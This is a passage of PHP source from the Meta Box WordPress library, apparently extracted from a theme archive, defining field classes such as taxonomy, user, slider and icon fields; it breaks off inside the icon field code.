		ob_start();

		$attributes = self::get_attributes( $field );

		$options                  = $field['options'];
		$options['textarea_name'] = $field['field_name'];
		if ( ! empty( $attributes['required'] ) ) {
			$options['editor_class'] .= ' rwmb-wysiwyg-required';
		}

		wp_editor( $meta, $attributes['id'], $options );
		echo '<script class="rwmb-wysiwyg-id" type="text/html" data-id="', esc_attr( $attributes['id'] ), '" data-options="', esc_attr( wp_json_encode( $options ) ), '"></script>';
		echo '<script>if ( typeof rwmb !== "undefined" ) rwmb.$document.trigger( "mb_init_editors" );</script>';

		return ob_get_clean();
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'raw'     => false,
			'options' => [],
		] );

		$field['options'] = wp_parse_args( $field['options'], [
			'editor_class' => 'rwmb-wysiwyg',
			'dfw'          => true, // Use default WordPress full screen UI.
		] );

		// Keep the filter to be compatible with previous versions.
		$field['options'] = apply_filters( 'rwmb_wysiwyg_settings', $field['options'] );

		return $field;
	}
}
PK     N\N  N  ;  inc/dashboard/lib/meta-box/inc/fields/taxonomy-advanced.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Taxonomy advanced field which saves terms' IDs in the post meta in CSV format.
 */
class RWMB_Taxonomy_Advanced_Field extends RWMB_Taxonomy_Field {
	/**
	 * Save terms in form of comma-separated IDs.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return string
	 */
	public static function value( $new, $old, $post_id, $field ) {
		$new = parent::value( $new, $old, $post_id, $field );

		return implode( ',', $new );
	}

	/**
	 * Save meta value.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 */
	public static function save( $new, $old, $post_id, $field ) {
		$field['multiple'] = false; // Force to save in 1 row in the database.
		RWMB_Field::save( $new, $old, $post_id, $field );
	}

	/**
	 * Get raw meta value.
	 *
	 * @param int   $object_id Object ID.
	 * @param array $field     Field parameters.
	 * @param array $args      Arguments of {@see rwmb_meta()} helper.
	 *
	 * @return mixed
	 */
	public static function raw_meta( $object_id, $field, $args = [] ) {
		$args['single'] = true;
		$meta           = RWMB_Field::raw_meta( $object_id, $field, $args );

		if ( empty( $meta ) ) {
			return $field['multiple'] ? [] : '';
		}

		$meta = $field['clone'] ? array_map( 'wp_parse_id_list', $meta ) : wp_parse_id_list( $meta );
		$meta = array_filter( $meta );

		return $meta;
	}

	/**
	 * Get the field value.
	 * Return list of post term objects.
	 *
	 * @param  array    $field   Field parameters.
	 * @param  array    $args    Additional arguments.
	 * @param  int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return array List of post term objects.
	 */
	public static function get_value( $field, $args = [], $post_id = null ) {
		$value = RWMB_Field::get_value( $field, $args, $post_id );
		if ( ! $field['clone'] ) {
			return static::terms_info( $field, $value, $args );
		}

		$return = [];
		foreach ( $value as $subvalue ) {
			$return[] = static::terms_info( $field, $subvalue, $args );
		}
		return $return;
	}

	/**
	 * Get terms information.
	 *
	 * @param array  $field    Field parameters.
	 * @param string $term_ids Term IDs, in CSV format.
	 * @param array  $args     Additional arguments (for image size).
	 *
	 * @return array
	 */
	public static function terms_info( $field, $term_ids, $args ) {
		if ( empty( $term_ids ) ) {
			return [];
		}
		$args = wp_parse_args( [
			'include'    => $term_ids,
			'hide_empty' => false,
		], $args );

		$info = get_terms( $field['taxonomy'], $args );
		$info = is_array( $info ) ? $info : [];
		return $field['multiple'] ? $info : reset( $info );
	}
}
PK     N\q{yDb	  b	  8  inc/dashboard/lib/meta-box/inc/fields/image-advanced.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The advanced image upload field which uses WordPress media popup to upload and select images.
 */
class RWMB_Image_Advanced_Field extends RWMB_Media_Field {
	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();
		RWMB_Image_Field::admin_enqueue_scripts();
		wp_enqueue_script( 'rwmb-image-advanced', RWMB_JS_URL . 'image-advanced.js', [ 'rwmb-media' ], RWMB_VER, true );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field['mime_type'] = 'image';
		$field              = wp_parse_args( $field, [
			'image_size' => 'thumbnail',
		] );

		$field = parent::normalize( $field );

		$field['js_options'] = wp_parse_args( $field['js_options'], [
			'imageSize' => $field['image_size'],
		] );

		return $field;
	}

	/**
	 * Get the field value.
	 *
	 * @param array $field   Field parameters.
	 * @param array $args    Additional arguments.
	 * @param ?int  $post_id Post ID.
	 * @return mixed
	 */
	public static function get_value( $field, $args = [], $post_id = null ) {
		return RWMB_Image_Field::get_value( $field, $args, $post_id );
	}

	/**
	 * Get uploaded file information.
	 *
	 * @param int   $file  Attachment image ID (post ID). Required.
	 * @param array $args  Array of arguments (for size).
	 * @param array $field Field settings.
	 *
	 * @return array|bool False if file not found. Array of image info on success.
	 */
	public static function file_info( $file, $args = [], $field = [] ) {
		return RWMB_Image_Field::file_info( $file, $args, $field );
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param array    $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return RWMB_Image_Field::format_single_value( $field, $value, $args, $post_id );
	}

	/**
	 * Template for media item.
	 */
	public static function print_templates() {
		parent::print_templates();
		require RWMB_INC_DIR . 'templates/image-advanced.php';
	}
}
PK     N\HZ  Z  6  inc/dashboard/lib/meta-box/inc/fields/button-group.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The Button group.
 */
class RWMB_Button_Group_Field extends RWMB_Choice_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-button-group', RWMB_CSS_URL . 'button-group.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-button-group', 'path', RWMB_CSS_DIR . 'button-group.css' );
		wp_enqueue_script( 'rwmb-button-group', RWMB_JS_URL . 'button-group.js', [ 'rwmb' ], RWMB_VER, true );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$options = self::transform_options( $field['options'] );
		$walker  = new RWMB_Walker_Input_List( $field, $meta );

		$output  = sprintf(
			'<fieldset class="rwmb-button-input-list %s">',
			$field['inline'] ? 'rwmb-inline' : ''
		);
		$output .= $walker->walk( $options, -1 );
		$output .= '</fieldset>';

		return $output;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'inline' => true,
		] );

		$field = $field['multiple'] ? RWMB_Multiple_Values_Field::normalize( $field ) : $field;
		$field = RWMB_Input_Field::normalize( $field );

		$field['flatten'] = true;

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes          = RWMB_Input_Field::get_attributes( $field, $value );
		$attributes['id']    = false;
		$attributes['type']  = $field['multiple'] ? 'checkbox' : 'radio';
		$attributes['value'] = $value;

		return $attributes;
	}
}
PK     N\d)n_#  _#  2  inc/dashboard/lib/meta-box/inc/fields/taxonomy.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The taxonomy field which aims to replace the built-in WordPress taxonomy UI with more options.
 */
class RWMB_Taxonomy_Field extends RWMB_Object_Choice_Field {
	public static function add_actions() {
		add_action( 'wp_ajax_rwmb_get_terms', [ __CLASS__, 'ajax_get_terms' ] );
		add_action( 'wp_ajax_nopriv_rwmb_get_terms', [ __CLASS__, 'ajax_get_terms' ] );
	}

	public static function ajax_get_terms() {
		check_ajax_referer( 'query' );

		$request = rwmb_request();

		$field = $request->filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY );

		// Required for 'choice_label' filter. See self::filter().
		$field['clone']        = false;
		$field['_original_id'] = $field['id'];

		// Search.
		$field['query_args']['name__like'] = $request->filter_post( 'term' );

		// Pagination.
		$limit = $field['query_args']['number'] ?? 0;
		$limit = (int) $limit;
		if ( 'query:append' === $request->filter_post( '_type' ) ) {
			$page                          = $request->filter_post( 'page', FILTER_SANITIZE_NUMBER_INT );
			$field['query_args']['offset'] = $limit * ( $page - 1 );
		}

		// Query the database.
		$items = self::query( null, $field );
		$items = array_values( $items );

		$items = apply_filters( 'rwmb_ajax_get_terms', $items, $field, $request );

		$data = [ 'items' => $items ];

		// More items for pagination.
		if ( $limit && count( $items ) === $limit ) {
			$data['more'] = true;
		}

		wp_send_json_success( $data );
	}

	/**
	 * Add default value for 'taxonomy' field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		// Backwards compatibility with field args.
		if ( isset( $field['options']['args'] ) ) {
			$field['query_args'] = $field['options']['args'];
		}
		if ( isset( $field['options']['taxonomy'] ) ) {
			$field['taxonomy'] = $field['options']['taxonomy'];
		}
		if ( isset( $field['options']['type'] ) ) {
			$field['field_type'] = $field['options']['type'];
		}

		// Set default field args.
		$field = wp_parse_args( $field, [
			'taxonomy'       => 'category',
			'query_args'     => [],
			'remove_default' => false,
		] );

		// Force taxonomy to be an array.
		$field['taxonomy'] = (array) $field['taxonomy'];

		/*
		 * Set default placeholder:
		 * - If multiple taxonomies: show 'Select a term'.
		 * - If single taxonomy: show 'Select a %taxonomy_name%'.
		 */
		$placeholder   = __( 'Select a term', 'meta-box' );
		$taxonomy_name = self::get_taxonomy_singular_name( $field );
		if ( $taxonomy_name ) {
			// Translators: %s is the taxonomy singular label.
			$placeholder = sprintf( __( 'Select a %s', 'meta-box' ), strtolower( $taxonomy_name ) );
		}
		$field = wp_parse_args( $field, [
			'placeholder' => $placeholder,
		] );

		$field = parent::normalize( $field );

		// Set default query args.
		$limit               = $field['ajax'] ? 10 : 0;
		$field['query_args'] = wp_parse_args( $field['query_args'], [
			'taxonomy' => $field['taxonomy'],
			'number'   => $limit,
		] );

		parent::set_ajax_params( $field );

		// Prevent cloning for taxonomy field, not for child fields (taxonomy_advanced).
		if ( 'taxonomy' === $field['type'] ) {
			$field['clone'] = false;
		}

		return $field;
	}

	public static function query( $meta, array $field ): array {
		$args = wp_parse_args( $field['query_args'], [
			'hide_empty'             => false,
			'count'                  => false,
			'update_term_meta_cache' => false,
		] );

		$meta = wp_parse_id_list( (array) $meta );

		// Query only selected items.
		if ( ! empty( $field['ajax'] ) && ! empty( $meta ) ) {
			$args['include'] = $meta;
			$args['number']  = count( $meta );
		}

		$terms = get_terms( $args );
		if ( ! is_array( $terms ) ) {
			return [];
		}
		$options = [];
		foreach ( $terms as $term ) {
			$label = $term->name ? $term->name : __( '(No title)', 'meta-box' );
			$label = self::filter( 'choice_label', $label, $field, $term );

			$options[ $term->term_id ] = [
				'value'  => $term->term_id,
				'label'  => $label,
				'parent' => $term->parent,
			];
		}
		return $options;
	}

	/**
	 * Get meta values to save.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return array
	 */
	public static function value( $new, $old, $post_id, $field ) {
		$new   = (array) $new;
		$new[] = self::add_term( $field );
		$new   = array_filter( wp_parse_id_list( $new ) );

		return $new;
	}

	/**
	 * Save meta value.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 */
	public static function save( $new, $old, $post_id, $field ) {
		if ( empty( $field['id'] ) || ! $field['save_field'] ) {
			return;
		}

		foreach ( $field['taxonomy'] as $taxonomy ) {
			wp_set_object_terms( $post_id, $new, $taxonomy );
		}
	}

	/**
	 * Add new terms if users created some.
	 *
	 * @param array $field Field settings.
	 * @return int|null Term ID if added successfully, null otherwise.
	 */
	protected static function add_term( $field ) {
		$term = rwmb_request()->post( $field['id'] . '_new' );
		if ( ! $field['add_new'] || ! $term || 1 !== count( $field['taxonomy'] ) ) {
			return null;
		}

		$taxonomy = reset( $field['taxonomy'] );
		$term     = wp_insert_term( $term, $taxonomy );
		if ( is_wp_error( $term ) ) {
			return null;
		}
		return $term['term_id'] ?? null;
	}

	/**
	 * Get raw meta value.
	 *
	 * @param int   $object_id Object ID.
	 * @param array $field     Field parameters.
	 * @param array $args      Arguments of {@see rwmb_meta()} helper.
	 *
	 * @return mixed
	 */
	public static function raw_meta( $object_id, $field, $args = [] ) {
		if ( empty( $field['id'] ) ) {
			return '';
		}

		$meta = wp_get_object_terms( $object_id, $field['taxonomy'], [
			'orderby' => 'term_order',
		] );
		$meta = wp_list_pluck( $meta, 'term_id' );

		return $field['multiple'] ? $meta : reset( $meta );
	}

	/**
	 * Get the field value.
	 * Return list of post term objects.
	 *
	 * @param  array $field   Field parameters.
	 * @param  array $args    Additional arguments.
	 * @param  ?int  $post_id Post ID.
	 *
	 * @return array List of post term objects.
	 */
	public static function get_value( $field, $args = [], $post_id = null ) {
		if ( ! $post_id ) {
			$post_id = get_the_ID();
		}
		$value = wp_get_object_terms( $post_id, $field['taxonomy'], [
			'orderby' => 'term_order',
		] );

		// Get single value if necessary.
		if ( ! $field['clone'] && ! $field['multiple'] ) {
			$value = reset( $value );
		}
		return $value;
	}

	/**
	 * Format a single value for the helper functions.
	 *
	 * @param array   $field   Field parameters.
	 * @param WP_Term $value   The term object.
	 * @param array   $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param ?int    $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		if ( empty( $value ) ) {
			return '';
		}

		$link = $args['link'] ?? 'view';
		$text = $value->name;

		if ( false === $link ) {
			return $text;
		}
		$url = get_term_link( $value );
		if ( 'edit' === $link ) {
			$url = get_edit_term_link( $value );
		}

		return sprintf( '<a href="%s">%s</a>', esc_url( $url ), esc_html( $text ) );
	}

	public static function add_new_form( array $field ): string {
		if ( ! current_user_can( 'edit_posts' ) ) {
			return '';
		}

		// Only add new term if field has only one taxonomy.
		if ( 1 !== count( $field['taxonomy'] ) ) {
			return '';
		}

		$taxonomy        = reset( $field['taxonomy'] );
		$taxonomy_object = get_taxonomy( $taxonomy );
		if ( false === $taxonomy_object ) {
			return '';
		}

		return sprintf(
			'<a href="#" class="rwmb-taxonomy-add-button rwmb-modal-add-button" data-url="%s">%s</a>',
			admin_url( 'edit-tags.php?taxonomy=' . $taxonomy_object->name ),
			esc_html( $taxonomy_object->labels->add_new_item )
		);
	}

	public static function admin_enqueue_scripts() {
		$field = func_get_arg( 0 );
		parent::admin_enqueue_scripts( $field );
		static::remove_default_meta_box( $field );
	}

	protected static function remove_default_meta_box( array $field ) {
		if ( empty( $field['remove_default'] ) || ! function_exists( 'remove_meta_box' ) ) {
			return;
		}
		foreach ( $field['taxonomy'] as $taxonomy ) {
			$id = is_taxonomy_hierarchical( $taxonomy ) ? "{$taxonomy}div" : "tagsdiv-{$taxonomy}";
			remove_meta_box( $id, null, 'side' );
		}
	}

	protected static function get_taxonomy_singular_name( array $field ): string {
		if ( 1 !== count( $field['taxonomy'] ) ) {
			return '';
		}
		$taxonomy        = reset( $field['taxonomy'] );
		$taxonomy_object = get_taxonomy( $taxonomy );

		return false === $taxonomy_object ? '' : $taxonomy_object->labels->singular_name;
	}
}
PK     N\>!	  !	  0  inc/dashboard/lib/meta-box/inc/fields/slider.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The slider field which users jQueryUI slider widget.
 */
class RWMB_Slider_Field extends RWMB_Field {
	public static function admin_enqueue_scripts() {
		$url = RWMB_CSS_URL . 'jqueryui';
		wp_register_style( 'jquery-ui-core', "$url/core.css", [], '1.13.2' );
		wp_style_add_data( 'jquery-ui-core', 'path', RWMB_CSS_DIR . 'jqueryui/core.css' );

		wp_register_style( 'jquery-ui-theme', "$url/theme.css", [], '1.13.2' );
		wp_style_add_data( 'jquery-ui-theme', 'path', RWMB_CSS_DIR . 'jqueryui/theme.css' );

		wp_register_style( 'jquery-ui-slider', "$url/slider.css", [ 'jquery-ui-core', 'jquery-ui-theme' ], '1.13.2' );
		wp_style_add_data( 'jquery-ui-slider', 'path', RWMB_CSS_DIR . 'jqueryui/slider.css' );

		wp_enqueue_style( 'rwmb-slider', RWMB_CSS_URL . 'slider.css', [ 'jquery-ui-slider' ], RWMB_VER );
		wp_style_add_data( 'rwmb-slider', 'path', RWMB_CSS_DIR . 'slider.css' );
		wp_enqueue_script( 'rwmb-slider', RWMB_JS_URL . 'slider.js', [ 'jquery-ui-slider', 'jquery-ui-widget', 'jquery-ui-mouse', 'jquery-ui-core' ], RWMB_VER, true );
	}

	/**
	 * Get div HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$attributes = self::call( 'get_attributes', $field, $meta );
		return sprintf(
			'<div class="rwmb-slider-inner">
				<div class="rwmb-slider-ui" id="%s" data-options="%s"></div>
				<span class="rwmb-slider-label">%s<span>%s</span>%s</span>
				<input type="hidden" value="%s" %s>
			</div>',
			$field['id'],
			esc_attr( wp_json_encode( $field['js_options'] ) ),
			$field['prefix'],
			$meta,
			$field['suffix'],
			$meta,
			self::render_attributes( $attributes )
		);
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field               = parent::normalize( $field );
		$field               = wp_parse_args( $field, [
			'prefix'     => '',
			'suffix'     => '',
			'std'        => '',
			'js_options' => [],
		] );
		$field['js_options'] = wp_parse_args( $field['js_options'], [
			'range' => 'min', // range = 'min' will add a dark background to sliding part, better UI.
			'value' => $field['std'],
		] );

		return $field;
	}
}
PK     N\lg_  _  7  inc/dashboard/lib/meta-box/inc/fields/fieldset-text.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The text fieldset field, which allows users to enter content for a list of text fields.
 */
class RWMB_Fieldset_Text_Field extends RWMB_Input_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-fieldset-text', RWMB_CSS_URL . 'fieldset-text.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-fieldset-text', 'path', RWMB_CSS_DIR . 'fieldset-text.css' );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$html = [];
		$tpl  = '<p><label>%s</label> %s</p>';

		foreach ( $field['options'] as $key => $label ) {
			$value                       = isset( $meta[ $key ] ) ? $meta[ $key ] : '';
			$field['attributes']['name'] = $field['field_name'] . "[{$key}]";
			$html[]                      = sprintf( $tpl, $label, parent::html( $value, $field ) );
		}

		$out = '<fieldset>' . ( $field['desc'] ? '<legend>' . $field['desc'] . '</legend>' : '' ) . implode( ' ', $html ) . '</fieldset>';

		return $out;
	}

	protected static function input_description( array $field ) : string {
		return '';
	}

	protected static function label_description( array $field ) : string {
		return '';
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field                       = parent::normalize( $field );
		$field['multiple']           = false;
		$field['attributes']['id']   = false;
		$field['attributes']['type'] = 'text';
		return $field;
	}

	/**
	 * Format value for the helper functions.
	 *
	 * @param array        $field   Field parameters.
	 * @param string|array $value   The field meta value.
	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null     $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_value( $field, $value, $args, $post_id ) {
		$output = '<table><thead><tr>';
		foreach ( $field['options'] as $label ) {
			$output .= "<th>$label</th>";
		}
		$output .= '</tr></thead></tbody>';

		if ( ! $field['clone'] ) {
			$output .= self::format_single_value( $field, $value, $args, $post_id );
		} else {
			foreach ( $value as $subvalue ) {
				$output .= self::format_single_value( $field, $subvalue, $args, $post_id );
			}
		}
		$output .= '</tbody></table>';
		return $output;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param array    $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		$output = '<tr>';
		foreach ( $value as $subvalue ) {
			$output .= "<td>$subvalue</td>";
		}
		$output .= '</tr>';
		return $output;
	}
}
PK     N\\  \  .  inc/dashboard/lib/meta-box/inc/fields/user.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The user select field.
 */
class RWMB_User_Field extends RWMB_Object_Choice_Field {
	public static function add_actions() {
		add_action( 'wp_ajax_rwmb_get_users', [ __CLASS__, 'ajax_get_users' ] );
		add_action( 'wp_ajax_nopriv_rwmb_get_users', [ __CLASS__, 'ajax_get_users' ] );
		add_action( 'clean_user_cache', [ __CLASS__, 'update_cache' ] );
	}

	public static function ajax_get_users() {
		check_ajax_referer( 'query' );

		$request = rwmb_request();

		$field = $request->filter_post( 'field', FILTER_DEFAULT, FILTER_FORCE_ARRAY );

		// Required for 'choice_label' filter. See self::filter().
		$field['clone']        = false;
		$field['_original_id'] = $field['id'];

		// Search.
		$term = (string) $request->filter_post( 'term' );
		if ( $term ) {
			$field['query_args']['search'] = "*{$term}*";
		}

		// Pagination.
		$limit = $field['query_args']['number'] ?? 0;
		$limit = (int) $limit;
		if ( $limit && 'query:append' === $request->filter_post( '_type' ) ) {
			$field['query_args']['paged'] = $request->filter_post( 'page', FILTER_SANITIZE_NUMBER_INT );
		}

		// Query the database.
		$items = self::query( null, $field );
		$items = array_values( $items );

		$items = apply_filters( 'rwmb_ajax_get_users', $items, $field, $request );

		$data = [ 'items' => $items ];

		// More items for pagination.
		if ( $limit && count( $items ) === $limit ) {
			$data['more'] = true;
		}

		wp_send_json_success( $data );
	}

	/**
	 * Update object cache to make sure query method below always get the fresh list of users.
	 * Unlike posts and terms, WordPress doesn't set 'last_changed' for users.
	 * So we have to do it ourselves.
	 *
	 * @see clean_post_cache()
	 */
	public static function update_cache() {
		wp_cache_set( 'last_changed', microtime(), 'users' );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		// Set default field args.
		$field = wp_parse_args( $field, [
			'placeholder'   => __( 'Select a user', 'meta-box' ),
			'query_args'    => [],
			'display_field' => 'display_name',
		] );

		$field = parent::normalize( $field );

		// Set default query args.
		$limit               = $field['ajax'] ? 10 : 0;
		$field['query_args'] = wp_parse_args( $field['query_args'], [
			'number' => $limit,
		] );

		parent::set_ajax_params( $field );

		if ( $field['ajax'] ) {
			$field['js_options']['ajax_data']['field']['display_field'] = $field['display_field'];
		}

		return $field;
	}

	public static function query( $meta, array $field ): array {
		$display_field = $field['display_field'];
		$args          = wp_parse_args( $field['query_args'], [
			'orderby' => $display_field,
			'order'   => 'asc',
			'fields'  => [
				'ID',
				'user_login',
				'user_pass',
				'user_nicename',
				'user_email',
				'user_url',
				'user_registered',
				'user_status',
				'display_name',
			],
		] );

		$meta = wp_parse_id_list( (array) $meta );

		// Query only selected items.
		if ( ! empty( $field['ajax'] ) && ! empty( $meta ) ) {
			$args['include'] = $meta;
			$args['number']  = count( $meta );
		}

		// Get from cache to prevent same queries.
		$last_changed = wp_cache_get_last_changed( 'users' );
		$key          = md5( serialize( $args ) );
		$cache_key    = "$key:$last_changed";
		$options      = wp_cache_get( $cache_key, 'meta-box-user-field' );
		if ( false !== $options ) {
			return $options;
		}

		$users   = get_users( $args );
		$options = [];
		foreach ( $users as $user ) {
			$label = $user->$display_field ? $user->$display_field : __( '(No title)', 'meta-box' );
			$label = self::filter( 'choice_label', $label, $field, $user );

			$options[ $user->ID ] = [
				'value' => $user->ID,
				'label' => $label,
			];
		}

		// Cache the query.
		wp_cache_set( $cache_key, $options, 'meta-box-user-field' );

		return $options;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param int      $value   User ID.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		if ( empty( $value ) ) {
			return '';
		}

		$link          = $args['link'] ?? 'view';
		$user          = get_userdata( $value );
		$display_field = $field['display_field'];
		$text          = $user->$display_field;

		if ( false === $link ) {
			return $text;
		}
		$url = get_author_posts_url( $value );
		if ( 'edit' === $link ) {
			$url = get_edit_user_link( $value );
		}

		return sprintf( '<a href="%s">%s</a>', esc_url( $url ), esc_html( $text ) );
	}

	public static function add_new_form( array $field ): string {
		if ( ! current_user_can( 'create_users' ) ) {
			return '';
		}

		return sprintf(
			'<a href="#" class="rwmb-user-add-button rwmb-modal-add-button" data-url="%s">%s</a>',
			admin_url( 'user-new.php' ),
			esc_html__( 'Add New User', 'meta-box' )
		);
	}
}
PK     N\6   6   .  inc/dashboard/lib/meta-box/inc/fields/icon.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The icon field.
 */
class RWMB_Icon_Field extends RWMB_Select_Advanced_Field {
	const CACHE_GROUP = 'meta-box-icon-field';

	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();

		wp_enqueue_style( 'rwmb-icon', RWMB_CSS_URL . 'icon.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-icon', 'path', RWMB_CSS_DIR . 'icon.css' );
		wp_enqueue_script( 'rwmb-icon', RWMB_JS_URL . 'icon.js', [ 'rwmb-select2', 'rwmb-select', 'underscore' ], RWMB_VER, true );

		$args  = func_get_args();
		$field = $args[0];
		self::enqueue_icon_font_style( $field );
	}

	private static function enqueue_icon_font_style( array $field ): void {
		if ( is_string( $field['icon_css'] ) ) {
			$handle = md5( $field['icon_css'] );
			wp_enqueue_style( $handle, $field['icon_css'], [], RWMB_VER );
		} elseif ( is_callable( $field['icon_css'] ) ) {
			$field['icon_css']();
		}
	}

	private static function get_icons( array $field ): array {
		// Get from cache to prevent reading large files.
		$params    = [
			'icon_file' => $field['icon_file'],
			'icon_dir'  => $field['icon_dir'],
			'icon_css'  => is_string( $field['icon_css'] ) ? $field['icon_css'] : '',
		];
		$cache_key = md5( serialize( $params ) ) . '-icons';
		$icons     = wp_cache_get( $cache_key, self::CACHE_GROUP );
		if ( false !== $icons ) {
			return $icons;
		}

		$data = self::parse_icon_data( $field );

		// Reformat icons.
		$icons = [];
		foreach ( $data as $key => $icon ) {
			$icon = self::normalize_icon( $field, $key, $icon );

			if ( is_numeric( key( $icon ) ) ) {
				$icons = array_merge( $icons, $icon );
				continue;
			}

			$icons[] = $icon;
		}

		// Cache the result.
		wp_cache_set( $cache_key, $icons, self::CACHE_GROUP );
		return $icons;
	}

	private static function parse_icon_data( array $field ): array {
		$keys = [
			'icon_file',
			'icon_css',
			'icon_dir',
		];
		foreach ( $keys as $key ) {
			if ( ! empty( $field[ $key ] ) && is_string( $field[ $key ] ) ) {
				return call_user_func( [ __CLASS__, "parse_$key" ], $field );
			}
		}

		return [];
	}

	private static function parse_icon_file( array $field ): array {
		if ( ! file_exists( $field['icon_file'] ) ) {
			return [];
		}

		$data    = (string) file_get_contents( $field['icon_file'] );
		$decoded = json_decode( $data, true );

		// JSON file.
		if ( JSON_ERROR_NONE === json_last_error() ) {
			return $decoded;
		}

		// Text file: each icon on a line.
		return array_map( 'trim', explode( "\n", $data ) );
	}

	private static function parse_icon_css( array $field ): array {
		// Parse local CSS file only.
		$file = self::url_to_path( $field['icon_css'] );
		if ( ! file_exists( $file ) ) {
			return [];
		}

		$css = (string) file_get_contents( $file );

		preg_match_all( '/\.([^\s:]+):before/', $css, $matches );

		if ( empty( $matches[1] ) ) {
			preg_match_all( '/\.([^\s:]+)/', $css, $matches );
		}

		return $matches[1];
	}

	private static function parse_icon_dir( array $field ): array {
		$dir = $field['icon_dir'];
		if ( ! is_dir( $dir ) ) {
			return [];
		}

		$icons = [];
		$files = glob( trailingslashit( $dir ) . '*.svg' );

		foreach ( $files as $file ) {
			$filename = substr( basename( $file ), 0, -4 );
			$icons[]  = [
				'value' => $filename,
				'label' => $filename,
				'svg'   => file_get_contents( $file ),
			];
		}

		return $icons;
	}

	private static function normalize_icon( array $field, $key, $icon ): array {
		// Default: Font Awesome Free.
		if ( $field['icon_set'] === 'font-awesome-free' ) {
			$style = $icon['styles'][0];
			return [
				'value' => "fa-{$style} fa-{$key}",
				'label' => $icon['label'],
				'svg'   => $icon['svg'][ $style ]['raw'],
			];
		}

		// Font Awesome Pro.
		if ( $field['icon_set'] === 'font-awesome-pro' ) {
			$icons = [];
			foreach ( $icon['styles'] as $style ) {
				$icons[] = [
					'value' => "fa-{$style} fa-{$key}",
					'label' => "{$icon[ 'label' ]} ({$style})",
					'svg'   => $icon['svg'][ $style ]['raw'],
				];
			}
			return $icons;
		}

		// JSON file: "icon-class": { "label": "Label", "svg": "<svg...>" } or from `icon_dir`.
		if ( is_array( $icon ) ) {
			return [
				'value' => $icon['value'] ?? $key,
				'label' => $icon['label'] ?? $key,
